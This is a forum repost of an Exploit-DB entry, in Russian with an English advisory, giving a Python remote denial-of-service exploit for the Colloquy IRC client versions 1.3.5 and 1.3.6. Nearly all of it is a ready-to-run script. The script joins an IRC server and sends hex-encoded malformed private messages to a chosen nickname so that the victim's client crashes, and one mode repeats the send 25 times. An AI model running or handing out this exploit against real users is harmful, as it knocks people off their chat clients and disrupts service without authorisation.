- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 38208
- Проверка EDB
-
- Пройдено
- Автор
- APH3X
- Тип уязвимости
- DOS
- Платформа
- MULTIPLE
- CVE
- null
- Дата публикации
- 2013-01-09
Colloquy - Remote Denial of Service
Код:
source: https://www.securityfocus.com/bid/57255/info
Colloquy is prone to a remote denial-of-service vulnerability.
Successful exploits may allow the attacker to cause the application to crash, resulting in denial-of-service conditions.
Colloquy 1.3.5 and 1.3.6 are vulnerable.
###################################################################################
# # #
# # H O W - T O #
# # #
# #######################
#
# Provide the Target: Server, Port, Nickname and the script will deliver
# the payload...
#
# [!USE/]$ ./<file>.py -t <server> -p <port> -n <nickname>
#
###################################################################################
from argparse import ArgumentParser
from time import sleep
import socket
shellcode = {
# One Shot <3
'one_shot' : [ \
"687474703a2f2f782f2e2425235e26402426402426232424242425232426",
"23242623262340262a232a235e28242923404040245e2340242625232323",
"5e232526282a234026405e242623252623262e2f2e2f2e2e2f2e2e2f2324",
"2e24" ],
# 1.3.5
'1_3_5' : [ \
"687474703a2f2f782f3f6964783d2d312b554e494f4e2b53454c45435428",
"292c7573657228292c2873656c6563742532302d2d687474703a2f2f6874",
"74703a2f2f782f3f6964783d2d312b554e494f4e2b53454c45435428292c"
"7573657228292c2873656c6563742532302d2d687474703a2f2f" ],
# 1.3.6 - ( Requires Sending 25 Times )
'1_3_6' : [ \
"687474703a2f2f782f3f6964783d2d312b554e494f4e2b53454c45435428",
"292c7573657228292c2873656c6563742532302d2d687474703a2f2f6874",
"74703a2f2f782f3f6964783d2d312b554e494f4e2b53454c45435428292c",
"7573657228292c2873656c6563742532302d2d687474703a2f2f" ],
}
def own( sock, target, sc_key='one_shot' ):
sc = ''.join( shellcode[sc_key] )
targ = ''.join( ''.join( [ hex( ord( ch ) ) for ch in target ] ).split( '0x' ) )
msg = "505249564d534720{}203a{}0d0a".format( targ, sc )
if sc_key not in '1_3_6':
sock.send( bytes.fromhex( msg ) )
else:
try:
for x in range( 1, 26 ):
sock.send( bytes.fromhex( msg ) )
sleep( .64 )
except:
print( 'FAILED!')
def connect( uri, port, target, sc_key ):
sock = socket.socket()
try:
ret = sock.connect_ex(( uri, int( port ) ))
sock.recv(8096)
except:
print( "\t[-] Failed To Connect To {}".format( uri ) )
exit()
sock.send( b"\x4e\x49\x43\x4b\x20\x7a\x65\x6d\x70\x30\x64\x61\x79\x0d\x0a" )
sock.send( b"\x55\x53\x45\x52\x20\x7a\x65\x6d\x70\x30\x64\x61\x79\x20\x48\x45\x48\x45\x20\x48\x45\x48\x45\x20\x3a\x3c\x33\x0d\x0a" )
while True:
host_data = str( sock.recv( 8096 ).strip() )
if ' 396 ' in host_data:
print( '\t[+] Connection Successful Sending Payload To {}'.format( target ) )
own( sock, target, sc_key )
sock.send( b'QUIT\r\n' )
sock.close()
break
try:
msg = host_data.split()
if msg[0].lower() is 'ping':
sock.send( b"PONG {}\r\n".format( msg[1] ) )
continue
except:
pass
print( '\t[!] Payload Sent, Target Should Drop Shortly <3' )
if __name__ == '__main__':
parser = ArgumentParser( description='#legion Colloquy IRC DoS; Requires At Least A Nick To Target' )
parser.add_argument( '-t', '--target', dest='target', default='localhost', help="IRCD Server Uri To Connect On" )
parser.add_argument( '-p', '--port', dest='port', default=6667, help="Port To Connect On" )
parser.add_argument( '-n', '--nick', dest='nick', metavar='NICK', help="Nick To Target" )
parser.add_argument( '-s', '--shellcode', dest='shellcode', default='one_shot',
help='Shell Code To Use, ( one_shot, 1_3_5, 1_3_6 )' )
args = parser.parse_args()
if args.nick is None:
parser.print_help()
exit()
connect( args.target, args.port, args.nick, args.shellcode.strip() )
- Источник
- www.exploit-db.com